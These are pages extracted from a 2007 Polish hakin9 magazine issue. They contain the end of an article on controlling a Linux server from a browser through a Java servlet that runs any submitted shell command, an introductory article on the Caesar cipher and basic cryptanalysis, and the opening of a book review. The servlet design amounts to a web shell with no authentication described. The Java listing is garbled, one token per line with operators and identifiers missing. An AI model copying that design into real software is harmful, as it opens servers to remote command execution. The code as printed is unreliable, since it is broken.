servletName

"/servlet/hakin9.RemoteControlServlet"

;

try

{

URL

addressURL

new

URL

(

protocol

server

port

servletName

)

;

URLConnection

connection

addressURL

openConnection

()

;

//(2)

connection

setUseCaches

(

false

)

;

//(3)

connection

setDoOutput

(

true

)

;

//(4)

ByteArrayOutputStream

stream

new

ByteArrayOutputStream

(

512

)

;

//(5)

PrintWriter

new

PrintWriter

(

stream

true

)

;

//(6)

write

(

data

)

;

flush

()

;

//(7)

connection

setRequestProperty

(

"Content-Length"

String

valueOf

(

stream

size

()))

;

connection

setRequestProperty

(

"Content-Type"

"application/x-www-form-urlencoded"

)

;

stream

writeTo

(

connection

getOutputStream

())

;

//(8)

ObjectInputStream

inputStream

new

ObjectInputStream

(

connection

getInputStream

())

;

ArrayList

String

list

(

ArrayList

String

)

inputStream

readObject

()

;

inputStream

()

;

for

(

int

;

list

size

()

;

)

jTextArea

append

(

list

get

(

)

;

}

catch

(

Exception

)

{

jTextArea

append

(

getMessage

())

;

}

JEE5 – zdalna kontrola komputera

hakin9 Nr 5/2007

www.hakin9.org

umieszczony na płycie kod). W jej
części, oznaczonej liczbą (5), me-
toda readObject odbiera serializo-
wany obiekt wysłany przez serwer
(jeżeli byłoby ich kilka, konieczne
byłoby wywołanie tej metody od-
powiednią ilość razy) i transformuje
go w zwykły obiekt Java. Zwracana
wartość to referencja typu Object,
konieczne jest zatem rzutowanie
na odpowiednią klasę. W naszym
przypadku serwer będzie przesy-
łał instancję klasy typu ogólnego

ArrayList parametryzowanego kla-
są łańcucha String, więc na taki typ
rzutowany jest odebrany obiekt. To
oznacza również, że do kompilacji
powyższego kodu niezbędna jest
Java w wersji 5.0, w której pojawiła
się ta namiastka szablonów.

Po przygotowaniu apletu może-

my umieścić go na stronie korzy-
stając ze znacznika <

APPLET

>. Kla-

sę apletu wraz z jej macierzystą stro-
ną HTML musimy umieścić w odpo-
wiednim katalogu serwera WWW,
w przypadku serwera Tomcat jest
to katalogSerwera/webapps/ROOT.
Należy pamiętać o zachowaniu
ścieżki do pliku .class, odpowiadają-
cej nazwie pakietu, w którym zdefi-
niowana jest klasa apletu.

Implementacja klasy

serwletu

Zakładamy, że aplet wysyła do
serwletu komendę zrozumiałą dla
systemu, który kontroluje serwer.
Zadaniem serwletu będzie tę ko-
mendę wykonać, a następnie ode-
słać wygenerowany w ten sposób

output. Ogólny schemat będzie więc
podobny do tego, który zastosowali-
śmy w pierwszym prostym serwle-
cie widocznym na Listingu 1. Jed-
nak tym razem nie odeślemy ko-
du HTML, ale użyjemy serializa-
cji do przesłania zbioru łańcuchów
(obiektu typu ArrayList<String>).
Aby wszystko było jasne prześledź-
my schemat komunikacji z punktu
widzenia serwletu:

• aplet wysyła do serwera żąda-

nie typu GET z parametrem o
nazwie param i wartością, w
której zapisana jest komenda.

Przy pierwszym żądaniu serwer
WWW tworzy instancję serwle-
tu, do której następnie przekazy-
wany jest odebrany parametr;

• serwlet wykonuje otrzymaną ko-

mendę w powłoce systemowej
lub interpretatorze komend prze-
chwytując standardowy strumień
wyjścia;

• otwierany jest strumień, do któ-

rego przesyłane są wyniki wywo-
łania komendy (ponieważ uży-
wamy serializacji, w strumieniu,
reprezentowanym przez obiekt
typu ObjectOutputStream, mo-
żemy umieścić dowolny rodzaj
obiektu);

• zamykamy strumień i czekamy

na kolejne żądanie bez usuwania
instancji serwletu z pamięci.

Zanim przejdziemy do napisania kla-
sy serwletu, musimy zastanowić się
jeszcze, w jaki sposób wykonywać
będziemy przesłane z apletu komen-
dy (dla większej precyzji załóżmy tu-
taj, że serwer pracuje pod kontrolą
systemu Linuks). Jeżeli chcemy za-
chować wrażenie ciągłości pracy na
serwerze, należy koniecznie zadbać
o to, żeby serwlet pamiętał katalog,
w którym znalazł się po wywołaniu
poprzednio przesłanej komendy. W
przeciwnym razie, każda komenda
wykonywana będzie w katalogu do-
mowym użytkownika. Katalog prze-
chowywany będzie na serwlecie w
polu typu String o nazwie current-

Dir. Ale to nie wystarczy. Co się sta-
nie, gdy pojawi się drugi użytkownik?
Ponieważ obsługiwać ich będzie jed-
na instancja serwletu, to obaj będą
mieli dostęp do dokładnie tego sa-
mego pola currentDir. Nietrudno so-
bie wyobrazić, jakie to będzie po-
wodowało zamieszanie. Najbardziej
eleganckim rozwiązaniem tego pro-
blemu jest mechanizm śledzenia se-
sji. Dzięki temu możemy przecho-
wać osobno informacje skojarzone z
konkretną sesją tworzoną na potrze-
by każdego klienta. Zaimplemen-
towanie tego mechanizmu jest bar-
dzo proste dzięki interfejsowi Http-

Session udostępnianemu przez kla-
sę HttpServletRequest – pierwszy
argument metody doGet i doPost

serwletu, który reprezentuje żądanie
nadesłane od klienta. Obiekt sesji
możemy pobrać metodą request.get-

Session. Przechowuje on informacje
dotyczące użytkownika, który wysłał
bieżące żądanie. W obiekcie tym
możemy przechowywać dane, któ-
re zapisujemy metodą setAttribute,
a odczytujemy przy pomocy meto-
dy getAttribute. Szczegółami zajmie-
my się niżej (Listing 6). My wszystkie
dane (czyli w zasadzie tylko ścież-
kę do katalogu) zapisywać będzie-
my w zmiennych sesji, ale można so-
bie wyobrazić, że część danych do-
stępna jest we wszystkich sesjach i
może być modyfikowana przez każ-
dą z nich – to daje możliwość kontak-
tu użytkowników naszego serwera i
wymiany między nimi danych (choć-
by w postaci czatu).

Ponieważ serwlet działa z upraw-

nieniami zwykłego użytkownika, ko-
mendy jakie możemy wykonywać
zdalnie w przedstawionej tu aplikacji,
nie mogą wymagać uprawnień admi-
nistratora. To oczywiście poważne
ograniczenia możliwości aplikacji, na
rzecz bezpieczeństwa systemu. Aby
umożliwić rzeczywiste zdalne admi-
nistrowanie komputerem, należało-
by rozszerzyć uprawnienia serwle-
tu. Drugie ograniczenie naszej apli-
kacji dotyczy wykonywania poleceń
dynamicznych np. top. W naszym
przykładzie przechwytujemy stan-
dardowy strumień wyjścia, więc po-
lecenia dynamiczne mogę nie chcieć
współpracować z naszym serwle-
tem. Na szczęście większość z nich,
także top, można zmusić do współ-
pracy, korzystając z odpowiednich
parametrów.

Listing 4 prezentuje metodę,

która tworzy skrypt dla powłoki
bash, zmieniając katalog na ten,
jaki jest przechowywany w polu

currentDir, wykonuje przesłaną ko-

W Sieci

• http://java.sun.com – serwis po-

święcony Javie na stronie jej twór-
cy, firmy Sun,

• http://tomcat.apache.org – strona

serwera Tomcat.

hakin9 Nr 5/2007

www.hakin9.org

Narzędzia

mendę (dostępną jako argument

command metody) i wykonuje po-
lecenie pwd, które zapisze do stan-
dardowego strumienia wyjścia no-
wą lokalizację. Wszystkie polecenia
umieszczone zostaną w pliku, któ-
rego ścieżka dostępna jest w polu
serwletu o nazwie scriptFileName.

Po zapisaniu skryptu do pliku

możemy go uruchomić dbając o to,
aby przechwycić standardowy stru-
mień wyjścia. Powstały w ten spo-
sób zbiór łańcuchów zapiszemy do
obiektu typu ArrayList<String>. Po-
śród zapisanych linii interesować
nas będzie w szczególny sposób
ta, która powstaje w efekcie wyko-
nania polecenia pwd. Zapiszemy ją
do pola currentDir klasy serwletu,
a potem do danych sesji i w ten
sposób przechowamy do chwili po-
jawienia się nowego żądania. Na
Listingu 5 widoczny jest kod meto-
dy uruchamiającej skrypt.

W klasie serwletu powinny zna-

leźć się również metody runScript
i generateScript z Listingu 6. Kla-
sę nazwijmy RemoteControlServlet.
Poza nimi musi zawarta tu być de-
klaracja wykorzystywanego przez
nie pola scriptFileName, przecho-
wującego nazwę pliku, do którego
zapisywany jest skrypt, pole cur-

rentDir z nazwą bieżącego katalo-
gu i pole arList, do którego zapisuje-
my output. W konstruktorze domyśl-
nym klasy odczytywany jest katalog
domowy użytkownika, którym przy
pierwszym żądaniu inicjowane jest
pole currentDir. Plik skompilowa-
nej klasy serwletu należy umieścić
w katalogu

katalogSerwera/webapps/

R O O T/ W E B -I N F/p a c k a g e /c l a s s e s
serwera Tomcat.

Implementacja

apletu-klienta

wysyłającego żądania

typu POST

Wskazywaliśmy wcześniej na wa-
dy żądań typu GET. A skoro nasz
serwlet umie już obsługiwać oba
typy żądań, to przygotujmy wersję
apletu-klienta, która będzie wysy-
łać żądania typu POST. Jego pod-
stawową zaletą jest ukrycie wysy-
łanych danych. W tym przypadku

przekazywane są za pomocą stru-
mieni, podobnie, jak dane odbierane
od serwletu. Możliwe jest również
odświeżanie informacji prezentowa-
nych przez aplet, bez konieczności
przeładowywania strony w przeglą-
darce. Nie ma już jednak możliwo-
ści zrzucenia obowiązku wyświetla-
nia danych na przeglądarkę – mo-
gą być one odbierane i prezentowa-
ne wyłącznie przez aplet. Należy
również zwrócić uwagę na fakt, że
w przypadku komunikacji w trybie
POST aplet, który pobierany będzie
do przeglądarki klienta oraz serwlet
muszą być umieszczone na tym sa-
mym serwerze WWW.

Procedura komunikacji przy uży-

ciu żądania typu POST przebiega
następująco:

• utworzenie odpowiedniego adre-

su URL i obiektu typu URLCon-

nection,

• blokada buforowania danych w

przeglądarce,

• uzyskanie od serwera pozwole-

nia na wysyłanie danych (w przy-
padku metody GET dane binarne
można było tylko odbierać – nie
można ich dołączać do adresu
URL),

• utworzenie strumienia binarnego

buforującego dane wysyłane do
serwera,

• utworzenie obiektu PrintWriter

(a w przypadku serializacji Object-

OutputStream) oraz skojarzenie
strumienia wyjściowego z dany-
mi binarnymi,

• umieszczenie danych w buforze;
• ustawienie odpowiednich nagłów-

ków żądania i wysłania danych
binarnych,

• utworzenie strumienia wejścio-

wego i odbiór odpowiedzi.

Listing 7 przedstawia metodę do-

PostMessage, którą należy umie-
ścić w aplecie, aby generował żą-
danie typu POST.

Podsumowanie

Jak się okazało, pomysł zdalnej kon-
troli komputera nie jest wcale ta-
ki trudny do realizacji, jak by się to
mogło wydawać. Oczywiście powyż-
szy kod to zaledwie podstawa tego,
co z serwletem i apletem może zro-
bić Czytelnik. Nie ma przecież pro-
blemu, aby przekształcić aplet-klient
tak, aby wyświetlał on listę bieżą-
cych procesów i usług działających
na serwerze albo by udostępniał
dwa panele a la Norton Comman-
der z możliwością zarządzania plika-
mi na serwerze. To, w którym kierun-
ku Czytelnik rozwinie przedstawiony
tutaj projekt, zależy jedynie od jego
inwencji i potrzeb. l

O autorach

• Błażej Lutkowski – student V roku Informatyki Stosowanej na Uniwersytecie

Mikołaja Kopernika w Toruniu. Programowaniem w Javie zainteresowany od 4
lat. Początkowo programował aplikacje korzystające z J2SE, teraz również JEE
5, w tym projektowaie aplikacji internetowych. Artykuł Zdalna kontrola komputera
przez przeglądarkę jest częścią jego pracy magisterskiej przygotowywanej pod
kierunkiem Jacka Matulewskiego.

• Jacek Matulewski – fizyk zajmujący się na co dzień optyką kwantową

i układami nieuporządkowanymi na Wydziale Fizyki, Astronomii i Informa-
tyki Stosowanej Uniwersytetu Mikołaja Kopernika w Toruniu. Jego specjal-
nością są symulacje ewolucji układów kwantowych oddziaływujących z sil-
nym światłem lasera. Od 1998 interesuje się programowaniem dla syste-
mu Windows, w szczególności w środowisku Borland C++Builder. Ostat-
nio zainteresowany platformą .NET i językiem C#. Poza opublikowanymi u
nas książkami dotyczącymi programowania przygotował również cykl arty-
kułów dla czasopisma PC World Komputer (od sierpnia 2005).Wierny użyt-
kownik kupionego w połowie lat osiemdziesiątych komputera osobistego
ZX Spectrum 48k.

Kontakt z autorem: jacek@fizyka.umk.pl

www.hakin9.org

hakin9 Nr 5/2007

Narzędzia

a początek poznamy kilka podstawo-
wych pojęć. Następnie opiszę bardzo
stary, ale używany do dzisiaj, algorytm

kryptograficzny i na jego przykładzie poznamy
kilka technik kryptoanalitycznych.

Zacznijmy od wprowadzenia kilku elemen-

tarnych pojęć:

• Tekst jawny (ang. plain text): informacja w

postaci niezaszyfrowanej.

• Szyfrogram, kryptogram albo szyfr (ang.

cipher text): informacja w postaci zaszyfro-
wanej.

• Klucz (ang. key): informacja użyta przy

szyfrowaniu i niezbędna od odszyfrowania
szyfrogramu.

• Algorytm szyfrujący/deszyfrujący (ang.

cipher): metoda przekształcenia tekstu
jawnego w szyfrogram (i na odwrót) przy
pomocy danego klucza.

• Kryptografia (ang. cryptography): to nauka

zajmująca się tworzeniem algorytmów kryp-
tograficznych (m.in. szyfrujących/deszyfru-
jących).

• Kryptoanaliza (ang. cryptoanalysis): to

nauka zajmująca się technikami łamania
algorytmów kryptograficznych.

• Kryptologia (ang. cryptology): to suma-

ryczne określenie kryptografii i kryptoana-
lizy. Warto mieć na uwadze, że w literatu-
rze anglojęzycznej określenia kryptologia
i kryptografia są niekiedy traktowane jako
synonimy.

Łagodne wprowadzenie do

kryptologii, czyli przygody

Alicji i Bobka

Cezary G. Cerekwicki

stopień trudności

Bezpieczeństwo informacyjne to zagadnienie dużo starsze niż

komputery. Wiele pomysłów, jakie się dziś wykorzystuje, znanych

było jeszcze w starożytności. Już wtedy przewaga informacyjna

była kluczem do sukcesu, czy to politycznego, militarnego, czy

też ekonomicznego. Tak wtedy, tak i dzisiaj, kryptologia zapewnia

metody chronienia cennych informacji przed ciekawskim

Z artykułu dowiesz się

• jak działa jeden z najstarszych używanych do

dzisiaj algorytmów kryptograficznych,

• jak można ten algorytm złamać, używając

wybranych metod kryptoanalitycznych,

• jakie kroki poczyniono przy projektowaniu

nowszych algorytmów, aby nie były podat-
ne na opisane w tym artykule metody ataków
kryptoanalitycznych,

• jakim warsztatem pojęciowym warto dyspo-

nować przed dalszym zgłębianiem tematyki
kryptologii.

Co powinieneś wiedzieć

• tekst napisany jest bardzo prosto, więc do jego

zrozumienia wystarczy elementarne rozumienie
matematyki i umiejętność logicznego myślenia.

Łagodne wprowadzenie do kryptologii

hakin9 Nr 5/2007

www.hakin9.org

Wyobraźmy sobie taką scenkę.
Dyrektor oddziału firmy pisze tajne
sprawozdanie dla prezesa. Stworzo-
ny przez niego plik to tekst jawny.
Następnie wyjmuje z sejfu płytę CD
z kluczem, wkłada ją do komputera i
uruchamia program realizujący odpo-
wiedni algorytm szyfrujący. Efekt
jego pracy to szyfrogram i on właśnie
zostanie wysłany do prezesa pocztą
elektroniczną. Prezes wyjmie ze swo-
jego sejfu swój klucz, uruchomi odpo-
wiedni program, który szyfrogram
zamieni na tekst jawny, nadający się
do przeczytania. Jeśli złośliwa konku-
rencja przechwyci szyfrogram, może
próbować zastosować różne techniki
kryptoanalityczne, aby zdobyć infor-
macje zawarte w sprawozdaniu.

Informacje dla pragnących wie-

dzieć więcej (i czepialskich recen-
zentów):

• nie zawsze znajomość klucza

jest niezbędna do odszyfrowa-
nia wiadomości. Tak byłoby tylko
w przypadku szyfru idealnego,

• istnieją algorytmy, które w ogóle

nie używają klucza (jednak obec-
nie mają raczej wartość historycz-
ną), lub używają wielu kluczy,

• obszar zainteresowania krypto-

grafii wykracza poza samo szy-
frowanie i deszyfrowanie, obej-
muje także uwierzytelnianie, pod-
pisy cyfrowe, kontrolę dostępu,
dzielenie sekretów czy dowody z
wiedzą zerową. Ale wszystko w
swoim czasie.

Szyfr Cezara

Szyfr Cezara jest bardzo prosty.
Szyfrowanie polega na zamienieniu
każdej litery tekstu jawnego na literę
przesuniętą w alfabecie o n pozycji
w prawo. Cezar używał n równego 3.
Tak więc literę a zamieniał na d, lite-
rę b na e, c na f i tak dalej.

Zatem słynne powiedzenie Ceza-

ra veni vidi vici zostałoby zakodowa-
ne do następującego kryptogra-
mu yhql ylgl ylfl (zakładając alfabet
angielski, co jest oczywistym święto-
kradztwem, równym temu, że, w ską-
dinąd świetnym serialu Rzym, Rzy-
mianie mówili piękną angielszczy-
zną, zamiast łaciny).

Owo n, czyli ilość przesunięć,

stanowi w przypadku szyfru Ceza-
ra klucz. Osoby znające się trochę
na komputerach wiedzą, że każda
litera w alfabecie ma odpowiada-
jący sobie numerek (zwany kodem
ASCII), zatem dziś takie szyfrowanie
jest najzwyczajniejszym w świecie
dodawaniem. Możemy opisać szyfr
Cezara następującym równaniem:

znak kryptogramu = znak tekstu jaw-

nego + klucz.

Mimo swoich słabości (o któ-

rych za chwilę) algorytm Cezara
jest używany do dzisiaj. Jedna z
jego odmian występuje pod nazwą
ROT13 (jak łatwo się domyślić klu-
czem jest liczba 13) i jest wykorzy-
stywany m.in. w Usenecie, oczy-
wiście w zastosowaniach niewiele
mających wspólnego z prawdziwym
bezpieczeństwem informacyjnym.

Obsługę szyfrowania/deszyfro-

wania ROT13 ma dziś praktycznie
każdy czytnik, więc zaawansowa-
ni użytkownicy Usenetu wykorzy-
stują ten kod m.in. w celu zasło-
nięcia części artykułu, który np.
zdradza zakończenie książki czy
filmu (zwany w sieciowym slangu
spoilerem). Dzięki temu czytelnik
może podjąć świadomą decyzję,
czy chce poznać owo zakończenie,
czy jednak nie. Inne zastosowanie
to ukrycie części tekstu przed mniej
zaawansowanymi użytkownikami.

Jeszcze inne to szyfrowanie słów
niecenzuralnych.

Kryptoanaliza szyfru

Cezara

Jako że jest to nasze pierwsze spo-
tkanie z kryptoanalizą, proponuję
na początek wyjaśnić kilka spraw.
Generalnie wyróżnić można trzy
podstawowe scenariusze kryptoana-
lityczne:

• Atak na szyfrogram (ang. cipher-

text-only attack). To najtrudniej-
szy scenariusz. Mamy do dyspo-
zycji przechwycony kryptogram i
nic więcej. Ten scenariuszu ma
wariant, w którym znamy także
algorytm użyty do szyfrowania.
Nie znamy klucza ani tekstu jaw-
nego.

• Atak ze znanym tekstem jawnym

(ang. known plaintext attack).
Mamy do dyspozycji tekst jawny
i odpowiadający mu kryptogram
(albo i więcej takich par). Nie
znamy klucza.

• Atak z dowolnym tekstem jawnym

(ang. chosen plaintext attack).
Mamy do dyspozycji urządzenie
szyfrujące, ale nie wiemy jak dzia-
ła. Możemy go używać do szyfro-
wania wybranych przez nas wia-
domości. Współczesny wariant
tego scenariusza jest następujący:
znamy algorytm szyfrujący, może-

Rysunek 1.

Rozkład relatywnych częstości znaków w języku angielskim

0,2000

0,1800

0,1600

0,1400

0,1200

0,1000

0,0800

0,0600

0,0400

0,0200

0,0000

a b c d e f g h i j k l m n o p q r s t u v w x y z sp

hakin9 Nr 5/2007

www.hakin9.org

Narzędzia

my go używać do woli na dowol-
nych tekstach i kluczach. Celem
jest znalezienie jego słabości, aby-
śmy byli zdolni odszyfrowywać
szyfrogramy, nie znając klucza.
Poniżej opisuję wybrane sposoby
na złamanie szyfru Cezara.

Atak brutalny

(scenariusz ataku na

szyfrogram)

Jeśli ktoś odgadnie, że mamy tu
do czynienia ze zwykłym przesu-
waniem literek w alfabecie, odkry-
cie klucza nie będzie już zadaniem
trudnym. Możliwości przesunięcia
(tzn. możliwych wartości klucza) jest
bowiem tylko tyle, ile liter w alfabe-
cie, a więc raptem kilkadziesiąt. Jeśli
więc sprawdzimy wszystkie możliwe
wartości klucza, jedna z nich odsło-
ni nam sensowny tekst jawny, a pozo-
stałe zapewne bezsensowne ciągi
znaków.

Tego typu atak na kryptogram,

polegający na sprawdzaniu wszyst-
kich wartości klucza, nazywamy ata-
kiem brutalnym. Nazwa ta wzięła się
stąd, że jest to technika stosunko-
wo mało wyrafinowana. Atak brutal-
ny na współczesny algorytm ozna-
cza wypróbowanie astronomicznych
wręcz ilości kombinacji.

Przed atakiem brutalnym można

się bronić co najmniej na dwa sposo-
by. Pierwszy polega na takim zapro-
jektowaniu algorytmu szyfrującego,
że możliwych wartości klucza będzie
zbyt dużo, by dało się je w sensow-
nym czasie wypróbować. Minu-
sem tego rozwiązania jest zmien-
na w czasie definicja stwierdzenia

zbyt dużo. Po pierwsze komputery są
coraz szybsze, według prawa Moora
podwajają swoją moc obliczeniową
co 18 miesięcy. Kryptogramy, które
były bezpieczne w latach siedem-
dziesiątych, dziś można łatwo złamać
na każdym komputerze. Po drugie
wiele współczesnych ataków krypto-
analitycznych polega na zmniejsze-
niu liczby koniecznych do wypróbo-
wania kombinacji (na skutek znalezie-
nia określonych słabości algorytmu
szyfrującego), zatem samo uwzględ-
nienie prawa Moora może nie wystar-
czyć. Dodatkową słabością takiego

podejścia jest koszt wydajnościowy,
który potrafi rosnąć bardzo szybko
wraz z wydłużaniem klucza.

Druga, nieco bardziej wyrafino-

wana technika polega na stworze-
niu takiego algorytmu, który będzie
produkował kryptogramy dające się
odszyfrować do więcej niż jedne-
go tekstu jawnego (ale tylko jeden
z nich będzie prawidłowy). Zatem,
jeśli w wyniku kryptoanalizy brutal-
nej otrzymamy dla różnych kluczy
teksty jawne Atak nastąpi o 7:00 w

poniedziałek, Atak nastąpi o 8:00 w

niedzielę oraz Atak nastąpi o 5:30 w

środę to de facto nic nam to nie daje,
bo nie wiemy, który z nich jest wła-
ściwy.

Atak brutalny to jedno z naj-

bardziej ogólnych narzędzi krypto-
analitycznych, ponieważ teoretycz-
nie można nim atakować wszystkie
algorytmy szyfrujące, jakie kiedykol-
wiek wymyślono i jakie kiedykolwiek
będą wymyślone. Rzeczywistość jest
nieco bardziej skomplikowana. Trwa-
ją na przykład prace nad takimi meto-
dami przechowywania kryptogra-
mów, aby można było tylko raz spró-
bować go odszyfrować, a w przypad-
ku niepowodzenia kryptogram ule-
gałby bezpowrotnemu zniszczeniu.
W takich warunkach o ataku brutal-
nym nie może być mowy.

Tak na marginesie, metody bru-

talne w informatyce dotyczą nie tylko
łamania szyfrów. Generalnie algoryt-

mem brutalnym nazywa się każde
podejście, które zamiast jakiegoś
błyskotliwego przejścia na skró-
ty, polega na mozolnym generowa-
niu wszystkich możliwych rozwiązań
problemu i sprawdzaniu, czy aku-
rat trafiliśmy we właściwe. Na przy-
kład system Deep Blue, który wygrał
z mistrzem świata Kasparowem w
szachy, posługiwał się algorytmem
zbudowanym w paradygmacie bru-

talnym, sprawdzając 200 mln posu-
nięć na sekundę.

Analiza częstości

Analiza częstości to technika wyna-
leziona prawdopodobnie przez Ara-
bów około tysięcznego roku naszej
ery. Polega na liczeniu częstości
występowania poszczególnych zna-

ków w kryptogramie i porównywaniu
ich do częstości znaków w tym języ-
ku naturalnym, w którym – jak sądzi-
my – jest zapisany tekst jawny (np.
polskim, angielskim).

W językach naturalnych nie

wszystkie literki są wykorzystywa-
ne z taką samą częstotliwością. Na
przykład literka a występuje dużo
częściej, niż literka q. Dla dowol-
nego tekstu możemy policzyć, jaki
jego procent stanowią poszczególne
znaki. Możemy też policzyć średnie
częstości dla danego języka natu-
ralnego.

Dane zaczerpnąłem ze strony:

http://www.data-compression.com/

english.html. Jak widać, najczęst-
szym znakiem jest spacja, a w dal-
szej kolejności e.

Relatywne częstości w języku

angielskim wyglądają ogólnie rzecz
biorąc następująco:

• a – 0,0652
• b – 0,0124
• c – 0,0217
• d – 0,0350
• e – 0,1041
• f – 0,0198

Zauważmy teraz pewien fakt: tekst
zaszyfrowany algorytmem Cezara
będzie miał analogiczny rozkład czę-
stości znaków jak tekst jawny, z tym,
że znaki będą poprzesuwane. Jeśli
wykonamy analizę częstości krypto-
gramu, otrzymamy tabelkę w stylu:

• c – 0,0691%
• d – 0,0131%
• e – 0,0211%
• f – 0,0348%
• g – 0,1101%
• h – 0,0201%

Zauważmy, że c w kryptogramie ma
częstość najbardziej zbliżoną do a w
języku, w którym – jak podejrzewa-
my – został napisany tekst jawny.
Dopasowujemy dalej: d w kryptogra-
mie jest najbliżej do b w języku natu-
ralnym. Następnie zauważamy, że e
ma najbliżej do c, f ma najbliżej do
d itd. Ewidentnie wyłania się zależ-
ność: znak kryptogramu = znak tek-

stu jawnego + 2.

Łagodne wprowadzenie do kryptologii

hakin9 Nr 5/2007

www.hakin9.org

Rozpoznajemy zatem algo-

rytm Cezara z kluczem 2. Testuje-
my naszą hipotezę próbując odszy-
frować cały tekst. Hipoteza zostaje
potwierdzona.

Zauważmy, że ta technika ma

zastosowanie do wszelkich pro-
stych szyfrów podstawieniowych
(tzn. takich, w których za daną liter-
kę podstawia się dowolną inną, ale
zawsze tę samą literkę). W przypad-
ku szyfru Cezara podstawienia są
proste, np. dla klucza 3 będzie to:

• a – c
• b – d
• c – e

Możemy sobie wyobrazić inne prze-
kształcenia, nie podlegające już tak
prostemu równaniu, jak w przypadku
szyfru Cezara. Rozważmy na przy-
kład taki schemat:

• a – x
• b – e
• e – d

W przypadku takiego algorytmu
kryptoanaliza będzie odrobinę trud-
niejsza niż w przypadku szyfru
Cezara, ale analiza częstości i tutaj
da się skutecznie zastosować.

Inne ciekawe zastosowanie ana-

lizy częstości to automatyczne roz-
poznawanie języka, w jakim napi-
sano dany tekst (wykorzystujemy tu
fakt, że rozkład częstości znaków w
poszczególnych językach jest inny).
Tu ciekawostka: w przypadku krypto-
gramów stworzonych przez algoryt-
my nie ukrywające oryginalnego roz-
kładu częstości, możemy rozpoznać
język, w którym napisano tekst jawny
bez rozszyfrowywania!

Aby obronić się przed możliwo-

ścią kryptoanalizy różnicowej, nale-
ży tak zaprojektować algorytm, aby
ukrywał rozkład częstości w krypto-
gramie. Zatem częstości znaków w
kryptogramie powinny być mniej wię-
cej takie same. Innymi słowy: rozkład
prawdopodobieństwa występowania
poszczególnych znaków w kryptogra-
mie powinien być równomierny.

Wszystkie współcześnie używane

algorytmy charakteryzuje taka wła-

ściwość, zatem rola analizy częstości
jest obecnie niewielka. Tym niemniej,
przez wiele lat technika ta była praw-
dziwym pogromcą szyfrów.

Kryptoanaliza różnicowa

Idea kryptoanalizy różnicowej pole-
ga na podawaniu algorytmowi róż-
nych tekstów jawnych oraz kluczy i
obserwacji, jak wpłynie to na kryp-
togram. Kryptoanalityk próbuje na
tej podstawie odkryć jakieś (zazwy-
czaj statystyczne) prawidłowości, a
następnie użyć ich do skuteczniej-
szego zaatakowania algorytmu.

Przeprowadzimy teraz bardzo

naiwną kryptoanalizę różnicową szy-
fru Cezara. Załóżmy, że mamy do
czynienia z algorytmem o stałym, nie-
znanym nam kluczu i mamy dostęp
do urządzenia szyfrującego. Naszym
celem jest odkrycie klucza oraz zasa-
dy działania algorytmu.

Próbujemy zaszyfrować tekst

aaaa, wychodzi nam cccc. Próbuje-
my zaszyfrować bbbb, wychodzi nam

dddd. W tej sytuacji nietrudno już
dojść do wniosku, że w kryptogramie
pojawia się znak przesunięty o trzy
pozycje w alfabecie w stosunku do
znaku tekstu jawnego. Z takiej hipo-
tezy roboczej wynika, że tekst abcd
zostanie zaszyfrowany do cdef. Pró-
bujemy więc zaszyfrować tekst abcd.
Otrzymujemy cdef, zgodnie z naszą
hipotezą. Możemy już teraz zaatako-
wać jakiś prawdziwy kryptogram, np.
korespondencję Cezara z Markiem
Antoniuszem. Jeśli przesunięcie każ-
dego znaku w alfabecie o trzy pozy-
cje do tyłu da nam w rezultacie sen-
sowny tekst, to udało nam się złamać
szyfr: odgadliśmy klucz oraz metodę
szyfrowania i deszyfrowania.

Zauważmy też, że podanie tekstu

jawnego składającego się z liczby

zero (nie mylić ze znakiem 0) zwróci
nam klucz jako kryptogram.

Oczywiście prawdziwa krypto-

analiza różnicowa współczesnych
algorytmów niewiele ma wspólnego z
podanym wyżej przykładem, ale ogól-
na zasada jest podobna. W rzeczywi-
stości szyfruje się testowo gigantycz-
ne ilości tekstów jawnych oraz bada
się ich charakterystyki statystyczne w
poszukiwaniu zależności.

Kryptoanaliza gumowej

pałki

Ta technika polega na uwięzieniu
osoby znającej klucz i biciu jej gumo-
wą pałką, dopóki nie zdradzi klucza.
Choć brzmi to dość żartobliwie (w
końcu czegóż można się spodziewać
od ludzi, którzy zamiast A, B, C, D w
swoich pracach używają słów Alicja,
Bobek, Charlie, Ewa), w rzeczywisto-
ści jest bardzo poważnym obszarem
rozważań osób zajmujących się bez-
pieczeństwem informacyjnym.

W końcu klasyczne pola zasto-

sowania kryptologii to wojskowość
i szpiegostwo, w których wydobywa-
nie informacji przez szantaż czy tortu-
ry nie jest czymś niesłychanym. Dla-
tego podczas drugiej wojny światowej
na froncie japońskim każdy polowy
technik kryptograf miał swojego opie-
kuna, którego zadaniem było niedo-
puszczenie do wzięcia żywego tech-
nika w niewolę przez nieprzyjaciela.

Tu też z pomocą przychodzi kryp-

tologia, dostarczając takich narzędzi
jak dzielenie sekretów, silne uwierzy-
telnienie, czy kryptogramy dające się
odszyfrować do więcej niż jednego tek-
stu jawnego (schwytany w niewolę ofi-
cer ma wówczas za zadanie wyjawić
na przesłuchaniu klucz odsłaniający
specjalnie spreparowaną wiadomość
zamiast tej naprawdę istotnej). l

O autorze

Autor z wykształcenia jest informatykiem i politologiem. Pracował jako programi-
sta, administrator, konsultant, tłumacz, koordynator międzynarodowych projektów,
dziennikarz i publicysta. Pisał programy w dziesięciu językach programowania (od
asemblerów po języki skryptowe) w czterech systemach operacyjnych, na dwóch
platformach sprzętowych.
Kontakt z autorem: cerekwicki@tlen.pl

hakin9 Nr 5/2007

www.hakin9.org

Księgozbiór

Tytuł: Wojna informacyjna i bezpieczeństwo informacji

Autor: Dorothy E. Denning

Wydawca: Wydawnictwa Naukowo-Techniczne

Rok: 2002

Stron: 561

Prawo Moore'a mówi, że optymalna ekonomicznie liczba
tranzystorów w układzie scalonym podwaja się co półtora
roku. Analiza szybkości zmian innych parametrów, takich
jak pojemność dysków twardych, szybkość dostępu do
pamięci RAM, czy liczba łatek do nowych wersji naszego
ulubionego systemu operacyjnego, prowadzi do wniosku,
że w informatyce dwa lata to już epoka. Pisanie w 2007
roku recenzji do wydanej w roku 2002 przez WNT książ-
ki Dorothy E. Denning Wojna informacyjna i bezpieczeń-

stwo informacji (której pierwsze amerykańskie wydanie
ukazało się w roku 1999) jest więc poniekąd zadaniem
równie karkołomnym, jak recenzowanie Kroniki polskiej
Galla Anonima. Jakkolwiek teoria bezpieczeństwa nie
zmienia się tak szybko jak moc obliczeniowa proceso-
rów, to jednak od roku 1999 doczekaliśmy się chociażby
powstania i kilku wydań norm ISO poświęconych ochro-
nie informacji, opracowania szeregu metodyk, czy wypro-
